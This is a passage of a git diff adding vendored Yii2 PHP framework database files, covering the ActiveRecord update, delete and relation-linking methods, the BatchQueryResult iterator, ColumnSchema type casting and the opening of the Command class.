Customer::findOne($id); + * $customer->name = $name; + * $customer->email = $email; + * $customer->update(); + * ~~~ + * + * Note that it is possible the update does not affect any row in the table. + * In this case, this method will return 0. For this reason, you should use the following + * code to check if update() is successful or not: + * + * ~~~ + * if ($this->update() !== false) { + * // update successful + * } else { + * // update failed + * } + * ~~~ + * + * @param boolean $runValidation whether to perform validation before saving the record. + * If the validation fails, the record will not be inserted into the database. + * @param array $attributeNames list of attribute names that need to be saved. Defaults to null, + * meaning all attributes that are loaded from DB will be saved. + * @return integer|boolean the number of rows affected, or false if validation fails + * or [[beforeSave()]] stops the updating process. + * @throws StaleObjectException if [[optimisticLock|optimistic locking]] is enabled and the data + * being updated is outdated. + * @throws \Exception in case update failed. + */ + public function update($runValidation = true, $attributeNames = null) + { + if ($runValidation && !$this->validate($attributeNames)) { + return false; + } + return $this->updateInternal($attributeNames); + } + + /** + * Updates the specified attributes. + * + * This method is a shortcut to [[update()]] when data validation is not needed + * and only a small set attributes need to be updated. + * + * You may specify the attributes to be updated as name list or name-value pairs. + * If the latter, the corresponding attribute values will be modified accordingly. + * The method will then save the specified attributes into database. + * + * Note that this method will **not** perform data validation and will **not** trigger events. + * + * @param array $attributes the attributes (names or name-value pairs) to be updated + * @return integer the number of rows affected. + */ + public function updateAttributes($attributes) + { + $attrs = []; + foreach ($attributes as $name => $value) { + if (is_integer($name)) { + $attrs[] = $value; + } else { + $this->$name = $value; + $attrs[] = $name; + } + } + + $values = $this->getDirtyAttributes($attrs); + if (empty($values)) { + return 0; + } + + $rows = $this->updateAll($values, $this->getOldPrimaryKey(true)); + + foreach ($values as $name => $value) { + $this->_oldAttributes[$name] = $this->_attributes[$name]; + } + + return $rows; + } + + /** + * @see update() + * @param array $attributes attributes to update + * @return integer number of rows updated + * @throws StaleObjectException + */ + protected function updateInternal($attributes = null) + { + if (!$this->beforeSave(false)) { + return false; + } + $values = $this->getDirtyAttributes($attributes); + if (empty($values)) { + $this->afterSave(false, $values); + return 0; + } + $condition = $this->getOldPrimaryKey(true); + $lock = $this->optimisticLock(); + if ($lock !== null) { + if (!isset($values[$lock])) { + $values[$lock] = $this->$lock + 1; + } + $condition[$lock] = $this->$lock; + } + // We do not check the return value of updateAll() because it's possible + // that the UPDATE statement doesn't change anything and thus returns 0. + $rows = $this->updateAll($values, $condition); + + if ($lock !== null && !$rows) { + throw new StaleObjectException('The object being updated is outdated.'); + } + + $changedAttributes = []; + foreach ($values as $name => $value) { + $changedAttributes[$name] = isset($this->_oldAttributes[$name]) ? $this->_oldAttributes[$name] : null; + $this->_oldAttributes[$name] = $value; + } + $this->afterSave(false, $changedAttributes); + + return $rows; + } + + /** + * Updates one or several counter columns for the current AR object. + * Note that this method differs from [[updateAllCounters()]] in that it only + * saves counters for the current AR object. + * + * An example usage is as follows: + * + * ~~~ + * $post = Post::findOne($id); + * $post->updateCounters(['view_count' => 1]); + * ~~~ + * + * @param array $counters the counters to be updated (attribute name => increment value) + * Use negative values if you want to decrement the counters. + * @return boolean whether the saving is successful + * @see updateAllCounters() + */ + public function updateCounters($counters) + { + if ($this->updateAllCounters($counters, $this->getOldPrimaryKey(true)) > 0) { + foreach ($counters as $name => $value) { + $this->_attributes[$name] += $value; + $this->_oldAttributes[$name] = $this->_attributes[$name]; + } + return true; + } else { + return false; + } + } + + /** + * Deletes the table row corresponding to this active record. + * + * This method performs the following steps in order: + * + * 1. call [[beforeDelete()]]. If the method returns false, it will skip the + * rest of the steps; + * 2. delete the record from the database; + * 3. call [[afterDelete()]]. + * + * In the above step 1 and 3, events named [[EVENT_BEFORE_DELETE]] and [[EVENT_AFTER_DELETE]] + * will be raised by the corresponding methods. + * + * @return integer|boolean the number of rows deleted, or false if the deletion is unsuccessful for some reason. + * Note that it is possible the number of rows deleted is 0, even though the deletion execution is successful. + * @throws StaleObjectException if [[optimisticLock|optimistic locking]] is enabled and the data + * being deleted is outdated. + * @throws \Exception in case delete failed. + */ + public function delete() + { + $result = false; + if ($this->beforeDelete()) { + // we do not check the return value of deleteAll() because it's possible + // the record is already deleted in the database and thus the method will return 0 + $condition = $this->getOldPrimaryKey(true); + $lock = $this->optimisticLock(); + if ($lock !== null) { + $condition[$lock] = $this->$lock; + } + $result = $this->deleteAll($condition); + if ($lock !== null && !$result) { + throw new StaleObjectException('The object being deleted is outdated.'); + } + $this->_oldAttributes = null; + $this->afterDelete(); + } + + return $result; + } + + /** + * Returns a value indicating whether the current record is new. + * @return boolean whether the record is new and should be inserted when calling [[save()]]. + */ + public function getIsNewRecord() + { + return $this->_oldAttributes === null; + } + + /** + * Sets the value indicating whether the record is new. + * @param boolean $value whether the record is new and should be inserted when calling [[save()]]. + * @see getIsNewRecord() + */ + public function setIsNewRecord($value) + { + $this->_oldAttributes = $value ? null : $this->_attributes; + } + + /** + * Initializes the object. + * This method is called at the end of the constructor. + * The default implementation will trigger an [[EVENT_INIT]] event. + * If you override this method, make sure you call the parent implementation at the end + * to ensure triggering of the event. + */ + public function init() + { + parent::init(); + $this->trigger(self::EVENT_INIT); + } + + /** + * This method is called when the AR object is created and populated with the query result. + * The default implementation will trigger an [[EVENT_AFTER_FIND]] event. + * When overriding this method, make sure you call the parent implementation to ensure the + * event is triggered. + */ + public function afterFind() + { + $this->trigger(self::EVENT_AFTER_FIND); + } + + /** + * This method is called at the beginning of inserting or updating a record. + * The default implementation will trigger an [[EVENT_BEFORE_INSERT]] event when `$insert` is true, + * or an [[EVENT_BEFORE_UPDATE]] event if `$insert` is false. + * When overriding this method, make sure you call the parent implementation like the following: + * + * ~~~ + * public function beforeSave($insert) + * { + * if (parent::beforeSave($insert)) { + * // ...custom code here... + * return true; + * } else { + * return false; + * } + * } + * ~~~ + * + * @param boolean $insert whether this method called while inserting a record. + * If false, it means the method is called while updating a record. + * @return boolean whether the insertion or updating should continue. + * If false, the insertion or updating will be cancelled. + */ + public function beforeSave($insert) + { + $event = new ModelEvent; + $this->trigger($insert ? self::EVENT_BEFORE_INSERT : self::EVENT_BEFORE_UPDATE, $event); + + return $event->isValid; + } + + /** + * This method is called at the end of inserting or updating a record. + * The default implementation will trigger an [[EVENT_AFTER_INSERT]] event when `$insert` is true, + * or an [[EVENT_AFTER_UPDATE]] event if `$insert` is false. The event class used is [[AfterSaveEvent]]. + * When overriding this method, make sure you call the parent implementation so that + * the event is triggered. + * @param boolean $insert whether this method called while inserting a record. + * If false, it means the method is called while updating a record. + * @param array $changedAttributes The old values of attributes that had changed and were saved. + * You can use this parameter to take action based on the changes made for example send an email + * when the password had changed or implement audit trail that tracks all the changes. + * `$changedAttributes` gives you the old attribute values while the active record (`$this`) has + * already the new, updated values. + */ + public function afterSave($insert, $changedAttributes) + { + $this->trigger($insert ? self::EVENT_AFTER_INSERT : self::EVENT_AFTER_UPDATE, new AfterSaveEvent([ + 'changedAttributes' => $changedAttributes + ])); + } + + /** + * This method is invoked before deleting a record. + * The default implementation raises the [[EVENT_BEFORE_DELETE]] event. + * When overriding this method, make sure you call the parent implementation like the following: + * + * ~~~ + * public function beforeDelete() + * { + * if (parent::beforeDelete()) { + * // ...custom code here... + * return true; + * } else { + * return false; + * } + * } + * ~~~ + * + * @return boolean whether the record should be deleted. Defaults to true. + */ + public function beforeDelete() + { + $event = new ModelEvent; + $this->trigger(self::EVENT_BEFORE_DELETE, $event); + + return $event->isValid; + } + + /** + * This method is invoked after deleting a record. + * The default implementation raises the [[EVENT_AFTER_DELETE]] event. + * You may override this method to do postprocessing after the record is deleted. + * Make sure you call the parent implementation so that the event is raised properly. + */ + public function afterDelete() + { + $this->trigger(self::EVENT_AFTER_DELETE); + } + + /** + * Repopulates this active record with the latest data. + * @return boolean whether the row still exists in the database. If true, the latest data + * will be populated to this active record. Otherwise, this record will remain unchanged. + */ + public function refresh() + { + /* @var $record BaseActiveRecord */ + $record = $this->findOne($this->getPrimaryKey(true)); + if ($record === null) { + return false; + } + foreach ($this->attributes() as $name) { + $this->_attributes[$name] = isset($record->_attributes[$name]) ? $record->_attributes[$name] : null; + } + $this->_oldAttributes = $this->_attributes; + $this->_related = []; + + return true; + } + + /** + * Returns a value indicating whether the given active record is the same as the current one. + * The comparison is made by comparing the table names and the primary key values of the two active records. + * If one of the records [[isNewRecord|is new]] they are also considered not equal. + * @param ActiveRecordInterface $record record to compare to + * @return boolean whether the two active records refer to the same row in the same database table. + */ + public function equals($record) + { + if ($this->getIsNewRecord() || $record->getIsNewRecord()) { + return false; + } + + return get_class($this) === get_class($record) && $this->getPrimaryKey() === $record->getPrimaryKey(); + } + + /** + * Returns the primary key value(s). + * @param boolean $asArray whether to return the primary key value as an array. If true, + * the return value will be an array with column names as keys and column values as values. + * Note that for composite primary keys, an array will always be returned regardless of this parameter value. + * @property mixed The primary key value. An array (column name => column value) is returned if + * the primary key is composite. A string is returned otherwise (null will be returned if + * the key value is null). + * @return mixed the primary key value. An array (column name => column value) is returned if the primary key + * is composite or `$asArray` is true. A string is returned otherwise (null will be returned if + * the key value is null). + */ + public function getPrimaryKey($asArray = false) + { + $keys = $this->primaryKey(); + if (count($keys) === 1 && !$asArray) { + return isset($this->_attributes[$keys[0]]) ? $this->_attributes[$keys[0]] : null; + } else { + $values = []; + foreach ($keys as $name) { + $values[$name] = isset($this->_attributes[$name]) ? $this->_attributes[$name] : null; + } + + return $values; + } + } + + /** + * Returns the old primary key value(s). + * This refers to the primary key value that is populated into the record + * after executing a find method (e.g. find(), findOne()). + * The value remains unchanged even if the primary key attribute is manually assigned with a different value. + * @param boolean $asArray whether to return the primary key value as an array. If true, + * the return value will be an array with column name as key and column value as value. + * If this is false (default), a scalar value will be returned for non-composite primary key. + * @property mixed The old primary key value. An array (column name => column value) is + * returned if the primary key is composite. A string is returned otherwise (null will be + * returned if the key value is null). + * @return mixed the old primary key value. An array (column name => column value) is returned if the primary key + * is composite or `$asArray` is true. A string is returned otherwise (null will be returned if + * the key value is null). + * @throws Exception if the AR model does not have a primary key + */ + public function getOldPrimaryKey($asArray = false) + { + $keys = $this->primaryKey(); + if (empty($keys)) { + throw new Exception(get_class($this) . ' does not have a primary key. You should either define a primary key for the corresponding table or override the primaryKey() method.'); + } + if (count($keys) === 1 && !$asArray) { + return isset($this->_oldAttributes[$keys[0]]) ? $this->_oldAttributes[$keys[0]] : null; + } else { + $values = []; + foreach ($keys as $name) { + $values[$name] = isset($this->_oldAttributes[$name]) ? $this->_oldAttributes[$name] : null; + } + + return $values; + } + } + + /** + * Populates an active record object using a row of data from the database/storage. + * + * This is an internal method meant to be called to create active record objects after + * fetching data from the database. It is mainly used by [[ActiveQuery]] to populate + * the query results into active records. + * + * When calling this method manually you should call [[afterFind()]] on the created + * record to trigger the [[EVENT_AFTER_FIND|afterFind Event]]. + * + * @param BaseActiveRecord $record the record to be populated. In most cases this will be an instance + * created by [[instantiate()]] beforehand. + * @param array $row attribute values (name => value) + */ + public static function populateRecord($record, $row) + { + $columns = array_flip($record->attributes()); + foreach ($row as $name => $value) { + if (isset($columns[$name])) { + $record->_attributes[$name] = $value; + } elseif ($record->canSetProperty($name)) { + $record->$name = $value; + } + } + $record->_oldAttributes = $record->_attributes; + } + + /** + * Creates an active record instance. + * + * This method is called together with [[populateRecord()]] by [[ActiveQuery]]. + * It is not meant to be used for creating new records directly. + * + * You may override this method if the instance being created + * depends on the row data to be populated into the record. + * For example, by creating a record based on the value of a column, + * you may implement the so-called single-table inheritance mapping. + * @param array $row row data to be populated into the record. + * @return static the newly created active record + */ + public static function instantiate($row) + { + return new static; + } + + /** + * Returns whether there is an element at the specified offset. + * This method is required by the interface ArrayAccess. + * @param mixed $offset the offset to check on + * @return boolean whether there is an element at the specified offset. + */ + public function offsetExists($offset) + { + return $this->__isset($offset); + } + + /** + * Returns the relation object with the specified name. + * A relation is defined by a getter method which returns an [[ActiveQueryInterface]] object. + * It can be declared in either the Active Record class itself or one of its behaviors. + * @param string $name the relation name + * @param boolean $throwException whether to throw exception if the relation does not exist. + * @return ActiveQueryInterface|ActiveQuery the relational query object. If the relation does not exist + * and `$throwException` is false, null will be returned. + * @throws InvalidParamException if the named relation does not exist. + */ + public function getRelation($name, $throwException = true) + { + $getter = 'get' . $name; + try { + // the relation could be defined in a behavior + $relation = $this->$getter(); + } catch (UnknownMethodException $e) { + if ($throwException) { + throw new InvalidParamException(get_class($this) . ' has no relation named "' . $name . '".', 0, $e); + } else { + return null; + } + } + if (!$relation instanceof ActiveQueryInterface) { + if ($throwException) { + throw new InvalidParamException(get_class($this) . ' has no relation named "' . $name . '".'); + } else { + return null; + } + } + + if (method_exists($this, $getter)) { + // relation name is case sensitive, trying to validate it when the relation is defined within this class + $method = new \ReflectionMethod($this, $getter); + $realName = lcfirst(substr($method->getName(), 3)); + if ($realName !== $name) { + if ($throwException) { + throw new InvalidParamException('Relation names are case sensitive. ' . get_class($this) . " has a relation named \"$realName\" instead of \"$name\"."); + } else { + return null; + } + } + } + + return $relation; + } + + /** + * Establishes the relationship between two models. + * + * The relationship is established by setting the foreign key value(s) in one model + * to be the corresponding primary key value(s) in the other model. + * The model with the foreign key will be saved into database without performing validation. + * + * If the relationship involves a junction table, a new row will be inserted into the + * junction table which contains the primary key values from both models. + * + * Note that this method requires that the primary key value is not null. + * + * @param string $name the case sensitive name of the relationship + * @param ActiveRecordInterface $model the model to be linked with the current one. + * @param array $extraColumns additional column values to be saved into the junction table. + * This parameter is only meaningful for a relationship involving a junction table + * (i.e., a relation set with [[ActiveRelationTrait::via()]] or `[[ActiveQuery::viaTable()]]`.) + * @throws InvalidCallException if the method is unable to link two models. + */ + public function link($name, $model, $extraColumns = []) + { + $relation = $this->getRelation($name); + + if ($relation->via !== null) { + if ($this->getIsNewRecord() || $model->getIsNewRecord()) { + throw new InvalidCallException('Unable to link models: both models must NOT be newly created.'); + } + if (is_array($relation->via)) { + /* @var $viaRelation ActiveQuery */ + list($viaName, $viaRelation) = $relation->via; + $viaClass = $viaRelation->modelClass; + // unset $viaName so that it can be reloaded to reflect the change + unset($this->_related[$viaName]); + } else { + $viaRelation = $relation->via; + $viaTable = reset($relation->via->from); + } + $columns = []; + foreach ($viaRelation->link as $a => $b) { + $columns[$a] = $this->$b; + } + foreach ($relation->link as $a => $b) { + $columns[$b] = $model->$a; + } + foreach ($extraColumns as $k => $v) { + $columns[$k] = $v; + } + if (is_array($relation->via)) { + /* @var $viaClass ActiveRecordInterface */ + /* @var $record ActiveRecordInterface */ + $record = new $viaClass(); + foreach ($columns as $column => $value) { + $record->$column = $value; + } + $record->insert(false); + } else { + /* @var $viaTable string */ + static::getDb()->createCommand() + ->insert($viaTable, $columns)->execute(); + } + } else { + $p1 = $model->isPrimaryKey(array_keys($relation->link)); + $p2 = $this->isPrimaryKey(array_values($relation->link)); + if ($p1 && $p2) { + if ($this->getIsNewRecord() && $model->getIsNewRecord()) { + throw new InvalidCallException('Unable to link models: both models are newly created.'); + } elseif ($this->getIsNewRecord()) { + $this->bindModels(array_flip($relation->link), $this, $model); + } else { + $this->bindModels($relation->link, $model, $this); + } + } elseif ($p1) { + $this->bindModels(array_flip($relation->link), $this, $model); + } elseif ($p2) { + $this->bindModels($relation->link, $model, $this); + } else { + throw new InvalidCallException('Unable to link models: the link does not involve any primary key.'); + } + } + + // update lazily loaded related objects + if (!$relation->multiple) { + $this->_related[$name] = $model; + } elseif (isset($this->_related[$name])) { + if ($relation->indexBy !== null) { + $indexBy = $relation->indexBy; + $this->_related[$name][$model->$indexBy] = $model; + } else { + $this->_related[$name][] = $model; + } + } + } + + /** + * Destroys the relationship between two models. + * + * The model with the foreign key of the relationship will be deleted if `$delete` is true. + * Otherwise, the foreign key will be set null and the model will be saved without validation. + * + * @param string $name the case sensitive name of the relationship. + * @param ActiveRecordInterface $model the model to be unlinked from the current one. + * You have to make sure that the model is really related with the current model as this method + * does not check this. + * @param boolean $delete whether to delete the model that contains the foreign key. + * If false, the model's foreign key will be set null and saved. + * If true, the model containing the foreign key will be deleted. + * @throws InvalidCallException if the models cannot be unlinked + */ + public function unlink($name, $model, $delete = false) + { + $relation = $this->getRelation($name); + + if ($relation->via !== null) { + if (is_array($relation->via)) { + /* @var $viaRelation ActiveQuery */ + list($viaName, $viaRelation) = $relation->via; + $viaClass = $viaRelation->modelClass; + unset($this->_related[$viaName]); + } else { + $viaRelation = $relation->via; + $viaTable = reset($relation->via->from); + } + $columns = []; + foreach ($viaRelation->link as $a => $b) { + $columns[$a] = $this->$b; + } + foreach ($relation->link as $a => $b) { + $columns[$b] = $model->$a; + } + $nulls = []; + foreach (array_keys($columns) as $a) { + $nulls[$a] = null; + } + if (is_array($relation->via)) { + /* @var $viaClass ActiveRecordInterface */ + if ($delete) { + $viaClass::deleteAll($columns); + } else { + $viaClass::updateAll($nulls, $columns); + } + } else { + /* @var $viaTable string */ + /* @var $command Command */ + $command = static::getDb()->createCommand(); + if ($delete) { + $command->delete($viaTable, $columns)->execute(); + } else { + $command->update($viaTable, $nulls, $columns)->execute(); + } + } + } else { + $p1 = $model->isPrimaryKey(array_keys($relation->link)); + $p2 = $this->isPrimaryKey(array_values($relation->link)); + if ($p2) { + foreach ($relation->link as $a => $b) { + $model->$a = null; + } + $delete ? $model->delete() : $model->save(false); + } elseif ($p1) { + foreach ($relation->link as $a => $b) { + if (is_array($this->$b)) { // relation via array valued attribute + if (($key = array_search($model->$a, $this->$b, false)) !== false) { + $values = $this->$b; + unset($values[$key]); + $this->$b = $values; + } + } else { + $this->$b = null; + } + } + $delete ? $this->delete() : $this->save(false); + } else { + throw new InvalidCallException('Unable to unlink models: the link does not involve any primary key.'); + } + } + + if (!$relation->multiple) { + unset($this->_related[$name]); + } elseif (isset($this->_related[$name])) { + /* @var $b ActiveRecordInterface */ + foreach ($this->_related[$name] as $a => $b) { + if ($model->getPrimaryKey() == $b->getPrimaryKey()) { + unset($this->_related[$name][$a]); + } + } + } + } + + /** + * Destroys the relationship in current model. + * + * The model with the foreign key of the relationship will be deleted if `$delete` is true. + * Otherwise, the foreign key will be set null and the model will be saved without validation. + * + * Note that to destroy the relationship without removing records make sure your keys can be set to null + * + * @param string $name the case sensitive name of the relationship. + * @param boolean $delete whether to delete the model that contains the foreign key. + */ + public function unlinkAll($name, $delete = false) + { + $relation = $this->getRelation($name); + + if ($relation->via !== null) { + if (is_array($relation->via)) { + /* @var $viaRelation ActiveQuery */ + list($viaName, $viaRelation) = $relation->via; + $viaClass = $viaRelation->modelClass; + unset($this->_related[$viaName]); + } else { + $viaRelation = $relation->via; + $viaTable = reset($relation->via->from); + } + $condition = []; + $nulls = []; + foreach ($viaRelation->link as $a => $b) { + $nulls[$a] = null; + $condition[$a] = $this->$b; + } + if (!empty($viaRelation->where)) { + $condition = ['and', $condition, $viaRelation->where]; + } + if (is_array($relation->via)) { + /* @var $viaClass ActiveRecordInterface */ + if ($delete) { + $viaClass::deleteAll($condition); + } else { + $viaClass::updateAll($nulls, $condition); + } + } else { + /* @var $viaTable string */ + /* @var $command Command */ + $command = static::getDb()->createCommand(); + if ($delete) { + $command->delete($viaTable, $condition)->execute(); + } else { + $command->update($viaTable, $nulls, $condition)->execute(); + } + } + } else { + /* @var $relatedModel ActiveRecordInterface */ + $relatedModel = $relation->modelClass; + if (!$delete && count($relation->link) == 1 && is_array($this->{$b = reset($relation->link)})) { + // relation via array valued attribute + $this->$b = []; + $this->save(false); + } else { + $nulls = []; + $condition = []; + foreach ($relation->link as $a => $b) { + $nulls[$a] = null; + $condition[$a] = $this->$b; + } + if (!empty($relation->where)) { + $condition = ['and', $condition, $relation->where]; + } + if ($delete) { + $relatedModel::deleteAll($condition); + } else { + $relatedModel::updateAll($nulls, $condition); + } + } + } + + unset($this->_related[$name]); + } + + /** + * @param array $link + * @param ActiveRecordInterface $foreignModel + * @param ActiveRecordInterface $primaryModel + * @throws InvalidCallException + */ + private function bindModels($link, $foreignModel, $primaryModel) + { + foreach ($link as $fk => $pk) { + $value = $primaryModel->$pk; + if ($value === null) { + throw new InvalidCallException('Unable to link models: the primary key of ' . get_class($primaryModel) . ' is null.'); + } + if (is_array($foreignModel->$fk)) { // relation via array valued attribute + $foreignModel->$fk = array_merge($foreignModel->$fk, [$value]); + } else { + $foreignModel->$fk = $value; + } + } + $foreignModel->save(false); + } + + /** + * Returns a value indicating whether the given set of attributes represents the primary key for this model + * @param array $keys the set of attributes to check + * @return boolean whether the given set of attributes represents the primary key for this model + */ + public static function isPrimaryKey($keys) + { + $pks = static::primaryKey(); + if (count($keys) === count($pks)) { + return count(array_intersect($keys, $pks)) === count($pks); + } else { + return false; + } + } + + /** + * Returns the text label for the specified attribute. + * If the attribute looks like `relatedModel.attribute`, then the attribute will be received from the related model. + * @param string $attribute the attribute name + * @return string the attribute label + * @see generateAttributeLabel() + * @see attributeLabels() + */ + public function getAttributeLabel($attribute) + { + $labels = $this->attributeLabels(); + if (isset($labels[$attribute])) { + return ($labels[$attribute]); + } elseif (strpos($attribute, '.')) { + $attributeParts = explode('.', $attribute); + $neededAttribute = array_pop($attributeParts); + + $relatedModel = $this; + foreach ($attributeParts as $relationName) { + if (isset($this->_related[$relationName]) && $this->_related[$relationName] instanceof self) { + $relatedModel = $this->_related[$relationName]; + } else { + try { + $relation = $relatedModel->getRelation($relationName); + } catch (InvalidParamException $e) { + return $this->generateAttributeLabel($attribute); + } + $relatedModel = new $relation->modelClass; + } + } + + $labels = $relatedModel->attributeLabels(); + if (isset($labels[$neededAttribute])) { + return $labels[$neededAttribute]; + } + } + + return $this->generateAttributeLabel($attribute); + } + + /** + * @inheritdoc + * + * The default implementation returns the names of the columns whose values have been populated into this record. + */ + public function fields() + { + $fields = array_keys($this->_attributes); + + return array_combine($fields, $fields); + } + + /** + * @inheritdoc + * + * The default implementation returns the names of the relations that have been populated into this record. + */ + public function extraFields() + { + $fields = array_keys($this->getRelatedRecords()); + + return array_combine($fields, $fields); + } + + /** + * Sets the element value at the specified offset to null. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `unset($model[$offset])`. + * @param mixed $offset the offset to unset element + */ + public function offsetUnset($offset) + { + if (property_exists($this, $offset)) { + $this->$offset = null; + } else { + unset($this->$offset); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php b/php/yii2/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php new file mode 100644 index 00000000..f1583839 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php @@ -0,0 +1,179 @@ +from('user'); + * foreach ($query->batch() as $i => $users) { + * // $users represents the rows in the $i-th batch + * } + * foreach ($query->each() as $user) { + * } + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class BatchQueryResult extends Object implements \Iterator +{ + /** + * @var Connection the DB connection to be used when performing batch query. + * If null, the "db" application component will be used. + */ + public $db; + /** + * @var Query the query object associated with this batch query. + * Do not modify this property directly unless after [[reset()]] is called explicitly. + */ + public $query; + /** + * @var integer the number of rows to be returned in each batch. + */ + public $batchSize = 100; + /** + * @var boolean whether to return a single row during each iteration. + * If false, a whole batch of rows will be returned in each iteration. + */ + public $each = false; + + /** + * @var DataReader the data reader associated with this batch query. + */ + private $_dataReader; + /** + * @var array the data retrieved in the current batch + */ + private $_batch; + /** + * @var mixed the value for the current iteration + */ + private $_value; + /** + * @var string|integer the key for the current iteration + */ + private $_key; + + + /** + * Destructor. + */ + public function __destruct() + { + // make sure cursor is closed + $this->reset(); + } + + /** + * Resets the batch query. + * This method will clean up the existing batch query so that a new batch query can be performed. + */ + public function reset() + { + if ($this->_dataReader !== null) { + $this->_dataReader->close(); + } + $this->_dataReader = null; + $this->_batch = null; + $this->_value = null; + $this->_key = null; + } + + /** + * Resets the iterator to the initial state. + * This method is required by the interface Iterator. + */ + public function rewind() + { + $this->reset(); + $this->next(); + } + + /** + * Moves the internal pointer to the next dataset. + * This method is required by the interface Iterator. + */ + public function next() + { + if ($this->_batch === null || !$this->each || $this->each && next($this->_batch) === false) { + $this->_batch = $this->fetchData(); + reset($this->_batch); + } + + if ($this->each) { + $this->_value = current($this->_batch); + if ($this->query->indexBy !== null) { + $this->_key = key($this->_batch); + } elseif (key($this->_batch) !== null) { + $this->_key++; + } else { + $this->_key = null; + } + } else { + $this->_value = $this->_batch; + $this->_key = $this->_key === null ? 0 : $this->_key + 1; + } + } + + /** + * Fetches the next batch of data. + * @return array the data fetched + */ + protected function fetchData() + { + if ($this->_dataReader === null) { + $this->_dataReader = $this->query->createCommand($this->db)->query(); + } + + $rows = []; + $count = 0; + while ($count++ < $this->batchSize && ($row = $this->_dataReader->read())) { + $rows[] = $row; + } + + return $this->query->populate($rows); + } + + /** + * Returns the index of the current dataset. + * This method is required by the interface Iterator. + * @return integer the index of the current row. + */ + public function key() + { + return $this->_key; + } + + /** + * Returns the current dataset. + * This method is required by the interface Iterator. + * @return mixed the current dataset. + */ + public function current() + { + return $this->_value; + } + + /** + * Returns whether there is a valid dataset at the current position. + * This method is required by the interface Iterator. + * @return boolean whether there is a valid dataset at the current position. + */ + public function valid() + { + return !empty($this->_batch); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ColumnSchema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ColumnSchema.php new file mode 100644 index 00000000..128bc387 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ColumnSchema.php @@ -0,0 +1,124 @@ + + * @since 2.0 + */ +class ColumnSchema extends Object +{ + /** + * @var string name of this column (without quotes). + */ + public $name; + /** + * @var boolean whether this column can be null. + */ + public $allowNull; + /** + * @var string abstract type of this column. Possible abstract types include: + * string, text, boolean, smallint, integer, bigint, float, decimal, datetime, + * timestamp, time, date, binary, and money. + */ + public $type; + /** + * @var string the PHP type of this column. Possible PHP types include: + * `string`, `boolean`, `integer`, `double`. + */ + public $phpType; + /** + * @var string the DB type of this column. Possible DB types vary according to the type of DBMS. + */ + public $dbType; + /** + * @var mixed default value of this column + */ + public $defaultValue; + /** + * @var array enumerable values. This is set only if the column is declared to be an enumerable type. + */ + public $enumValues; + /** + * @var integer display size of the column. + */ + public $size; + /** + * @var integer precision of the column data, if it is numeric. + */ + public $precision; + /** + * @var integer scale of the column data, if it is numeric. + */ + public $scale; + /** + * @var boolean whether this column is a primary key + */ + public $isPrimaryKey; + /** + * @var boolean whether this column is auto-incremental + */ + public $autoIncrement = false; + /** + * @var boolean whether this column is unsigned. This is only meaningful + * when [[type]] is `smallint`, `integer` or `bigint`. + */ + public $unsigned; + /** + * @var string comment of this column. Not all DBMS support this. + */ + public $comment; + + + /** + * Converts the input value according to [[phpType]] after retrieval from the database. + * If the value is null or an [[Expression]], it will not be converted. + * @param mixed $value input value + * @return mixed converted value + */ + public function phpTypecast($value) + { + if ($value === '' && $this->type !== Schema::TYPE_TEXT && $this->type !== Schema::TYPE_STRING && $this->type !== Schema::TYPE_BINARY) { + return null; + } + if ($value === null || gettype($value) === $this->phpType || $value instanceof Expression) { + return $value; + } + switch ($this->phpType) { + case 'resource': + case 'string': + return is_resource($value) ? $value : (string) $value; + case 'integer': + return (integer) $value; + case 'boolean': + return (boolean) $value; + case 'double': + return (double) $value; + } + + return $value; + } + + /** + * Converts the input value according to [[type]] and [[dbType]] for use in a db query. + * If the value is null or an [[Expression]], it will not be converted. + * @param mixed $value input value + * @return mixed converted value. This may also be an array containing the value as the first element + * and the PDO type as the second element. + */ + public function dbTypecast($value) + { + // the default implementation does the same as casting for PHP but it should be possible + // to override this with annotation of explicit PDO type. + return $this->phpTypecast($value); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Command.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Command.php new file mode 100644 index 00000000..1287558b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Command.php @@ -0,0 +1,844 @@ +createCommand('SELECT * FROM user')->queryAll(); + * ~~~ + * + * Command supports SQL statement preparation and parameter binding. + * Call [[bindValue()]] to bind a value to a SQL parameter; + * Call [[bindParam()]] to bind a PHP variable to a SQL parameter. + * When binding a parameter, the SQL statement is automatically prepared. + * You may also call [[prepare()]] explicitly to prepare a SQL statement. + * + * Command also supports building SQL statements by providing methods such as [[insert()]], + * [[update()]], etc. For example, + * + * ~~~ + * $connection->createCommand()->insert('user', [ + * 'name' => 'Sam', + * 'age' => 30, + * ])->execute(); + * ~~~ + * + * To build SELECT SQL statements, please use [[QueryBuilder]] instead. + * + * @property string $rawSql The raw SQL with parameter values inserted into the corresponding placeholders in + * [[sql]]. This property is read-only. + * @property string $sql The SQL statement to be executed. + * + * @author Qiang Xue + * @since 2.0 + */ +class Command extends Component +{ + /** + * @var Connection the DB connection that this command is associated with + */ + public $db; + /** + * @var \PDOStatement the PDOStatement object that this command is associated with + */ + public $pdoStatement; + /** + * @var integer the default fetch mode for this command. + * @see http://www.php.net/manual/en/function.PDOStatement-setFetchMode.php + */ + public $fetchMode = \PDO::FETCH_ASSOC; + /** + * @var array the parameters (name => value) that are bound to the current PDO statement. + * This property is maintained by methods such as [[bindValue()]]. It is mainly provided for logging purpose + * and is used to generate [[rawSql]]. Do not modify it directly. + */ + public $params = []; + /** + * @var integer the default number of seconds that query results can remain valid in cache. + * Use 0 to indicate that the cached data will never expire. And use a negative number to indicate + * query cache should not be used. + * @see cache() + */ + public $queryCacheDuration; + /** + * @var \yii\caching\Dependency the dependency to be associated with the cached query result for this command + * @see cache() + */ + public $queryCacheDependency; + + /** + * @var array pending parameters to be bound to the current PDO statement. + */ + private $_pendingParams = []; + /** + * @var string the SQL statement that this command represents + */ + private $_sql; + + + /** + * Enables query cache for this command. + * @param integer $duration the number of seconds that query result of this command can remain valid in the cache. + * If this is not set, the value of [[Connection::queryCacheDuration]] will be used instead. + 